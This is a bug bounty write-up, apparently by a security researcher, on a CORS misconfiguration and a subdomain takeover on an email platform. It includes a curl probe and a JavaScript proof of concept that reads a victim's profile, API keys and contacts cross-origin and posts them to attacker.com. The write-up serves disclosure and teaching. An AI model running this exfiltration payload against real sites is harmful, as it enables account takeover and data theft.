CORS Misconfiguration (Critical 9.3) + Subdomain Takeover (High 7.5)
Introduction
What Is This About?
This is a technical write-up of two security vulnerabilities I found while doing bug bounty research on a major email delivery platform — the kind of platform that businesses use to send millions of emails to their customers every day.
You don't need to be a security expert to understand why these matter. I'll explain each one in plain English first, then go deep on the technical details for developers and security professionals.
Finding 01
// CRITICAL · CVSS 9.3
CORS Misconfiguration: The Invisible Account Thief
For non-technical readers: Imagine you're logged into your bank. You open a second tab and visit a random website — say, a link someone emailed you. That website secretly talks to your bank in the background, using your login session, and downloads your account details. You see nothing. No warning. No popup. That's exactly what this vulnerability allowed.
For technical readers: Every endpoint on the platform's API reflected any attacker-supplied Origin header verbatim into Access-Control-Allow-Origin while also returning Access-Control-Allow-Credentials: true. Combined with a non-HttpOnly session cookie and withCredentials: true on all XHR calls, this enabled complete authenticated cross-origin account takeover.
How I Found It
Before touching a single endpoint, I analyzed the platform's publicly accessible JavaScript bundle—a 940 KB file containing the entire authentication flow. Two things stood out immediately.
// Cookie is read directly via document.cookie — no HttpOnly flag var f = "mako_auth_token"; var b = Cookie.get(f); // ← directly readable by any JS // Every API request sends the cookie cross-origin $.ajax({ xhrFields: {
withCredentials: true
} }); // Cookie scoped to ALL sendgrid.com subdomains $.cookie.defaults.domain = ".sendgrid.com";Then I ran one curl command against the API:
$ curl -sI -X OPTIONS https://[api-endpoint]/v3/user/profile \ -H "Origin: https://attacker.com" \ -H "Access-Control-Request-Method: GET" # Response: HTTP/2 200 access-control-allow-origin: https://attacker.com ← ANY ORIGIN REFLECTED access-control-allow-credentials: true ← CRITICAL access-control-allow-methods: PUT, HEAD, GET, OPTIONS, DELETE, POST, PATCH access-control-max-age: 21600⚠ Why This Combination Is Devastating
The CORS spec says: if a server reflects any Origin AND sets credentials: true, the browser treats that origin as fully trusted — meaning it attaches cookies AND lets the page read the response. This is equivalent to handing your house keys to anyone who knocks.

Proof of Concept:
// Any logged-in user who visits this page loses their account (async () => { const api = 'https://[api-endpoint]'; const opts = { credentials: 'include' }; // All return full authenticated responses cross-origin const profile = await fetch(api+'/v3/user/profile', opts) .then(r => r.json()); const keys = await fetch(api+'/v3/api_keys', opts) .then(r => r.json()); const contacts = await fetch(api+'/v3/marketing/contacts', opts) .then(r => r.json()); // Exfiltrate — CORS policy allows reading every response await fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify({ profile, keys, contacts }) }); })();I ran this from the browser console while logged into my own test account. The API returned authenticated data cross-origin — confirmed live.
Impact:
🔑 API Key Theft: Stolen keys persist after the session expires and survive password resets. Permanent access until manually revoked.
📧 Mass Phishing: Attacker sends bulk email from the victim's verified domain. Trusted sending reputation weaponized instantly.
🗃️ GDPR Breach: Millions of contact records silently exported. No account alerts triggered. EU data equally exposed.
👥 Org Takeover: Teammate lists, SSO configs, subuser accounts, and sender domains are all readable and modifiable.
The Fix:
# ❌ WRONG — reflects any origin
Access-Control-Allow-Origin: [whatever the client sent] Access-Control-Allow-Credentials: true
# ✅ CORRECT — explicit allowlist
if origin in ['https://app.example.com', 'https://mc.example.com']: Access-Control-Allow-Origin: [origin] else: # Return NO ACAO header at allFinding 02
Dangling DNS: When Cleanup Doesn't Happen
For non-technical readers: Imagine a company used to own a shop on "123 Main Street." They closed the shop and moved — but forgot to update their signage. Now, anyone can move into 123 Main Street, put up a sign that says the original company's name, and trick customers who follow the old directions. That's a subdomain takeover.
For technical readers: Certificate transparency enumeration identified a staging subdomain with active NS delegation to AWS Route53, but an empty hosted zone (SOA serial=1, zero A/CNAME records). The parent zone NS delegation was never removed when the service was decommissioned, leaving the AWS nameserver reassignment vector open.
Discovery Methodology
01 CT Log Enum: crt.sh pulled 130+ historical subdomains from TLS certificate records
02 DNS Check: 11 subdomains returned NXDOMAIN or had no A records
03 Passive DNS: OTX AlienVault + Wayback CDX identified historical hosting platforms
04 Triage: 10 subdomains were clean. 1 had an active NS delegation to Route53
🔍 Important — NXDOMAIN ≠ Subdomain Takeover
Most researchers submit all NXDOMAIN subdomains as HIGH findings. That's wrong. A takeover requires three things: (1) active DNS delegation to a third-party platform, (2) unclaimed resource on that platform, (3) public registration possible. NXDOMAIN alone proves none of these. I investigated all 11 with passive DNS before claiming anything.
The DNS Evidence:
# Step 1: Active NS delegation confirmed in parent zone $ dig [staging-subdomain].[target] NS +short ns-651.awsdns-17.net. ns-481.awsdns-60.com. ns-1086.awsdns-07.org. ns-1663.awsdns-15.co.uk.
# Step 2: Query authoritative NS directly — empty zone $ dig @ns-1663.awsdns-15.co.uk [staging-subdomain].[target] SOA +short ns-1663.awsdns-15.co.uk. awsdns-hostmaster.amazon.com. 1 7200 900 1209600 86400 ↑ serial=1 = ABANDONED ZONE $ dig @ns-1663.awsdns-15.co.uk [staging-subdomain].[target] A +short (empty — no A records)
Why This Was Worse Than Phishing
The obvious impact is a convincing phishing page under a trusted domain. But two factors made this finding much more dangerous on this specific platform:
🍪 Cookie Scope Inheritance: Session cookie scoped to root domain + no HttpOnly flag = any JS on any subdomain reads the live session token directly. Subdomain takeover → immediate account takeover.
🛡️ CORS + CSP Trust Bypass: Root domain allowlisted in CORS and CSP policies. A taken-over subdomain inherits this trust — enabling cross-origin API calls from any external domain.
🔗 CI/CD Pipeline Risk: Developer tooling and integrations that previously connected to the staging API endpoint would silently connect to attacker infrastructure after takeover.
🔐 Free TLS Certificate: Let's Encrypt issues domain-validated certificates to anyone who controls DNS. HTTPS phishing pages indistinguishable from legitimate infrastructure.
Outcome + Lesson
📋 Triage Result — Closed as Informative
Triage requested demonstrated DNS resolution control — not theoretical exploitability. I attempted Route53 zone registration but did not obtain a matching NS assignment within a reasonable attempt window. The lesson: for subdomain takeover, complete the full chain before submitting. A screenshot of your content resolving at the target is worth more than the most detailed write-up.
Decommission Runbook — The Two Lines That Were Missing
# The order matters. Both steps required.
☑ Delete Route53 hosted zone
☑ Remove NS delegation from parent zone ← . THIS ONE WAS MISSED
# Deleting the hosted zone alone leaves the NS delegation # active in the parent zone — and the door open for any # AWS account to claim the orphaned nameservers.
What This Engagement Taught Me
01 Read the JavaScript first: The Critical finding came entirely from reading a public JS bundle before touching any API endpoint. Most researchers go straight to active scanning. The source code told me exactly what the authentication mechanism was, where cookies were sent, and which CORS headers to expect — before I sent a single test request.
02 NXDOMAIN is not a finding: Ten of eleven subdomain candidates were NXDOMAIN. All ten were clean after a passive DNS investigation. Submitting all eleven as HIGH would have instantly burned my credibility with triage. Doing the work to distinguish theoretical from exploitable is what separates a useful report from noise.
03 For subdomain takeover — complete the chain: My DNS finding was closed as Informative because I didn't demonstrate actual DNS control. The evidence chain was solid but incomplete. For this class of vulnerability, a screenshot of your content resolving at the target domain is non-negotiable. Document first, submit after.
04 Think about how findings interact: Security vulnerabilities rarely exist in total isolation. The non-HttpOnly cookie worsened the CORS issue. The cookie domain scope worsened the DNS lookup. Mapping the shared root cause—the cookie misconfiguration—is where the most interesting analysis lies.
Responsible Disclosure
All testing was conducted within an authorized bug bounty program on HackerOne. Program confidentiality requirements prevent disclosure of the target organization. No customer data was accessed beyond what was necessary to confirm vulnerability validity.
— Prateek Pulastya · Security Researcher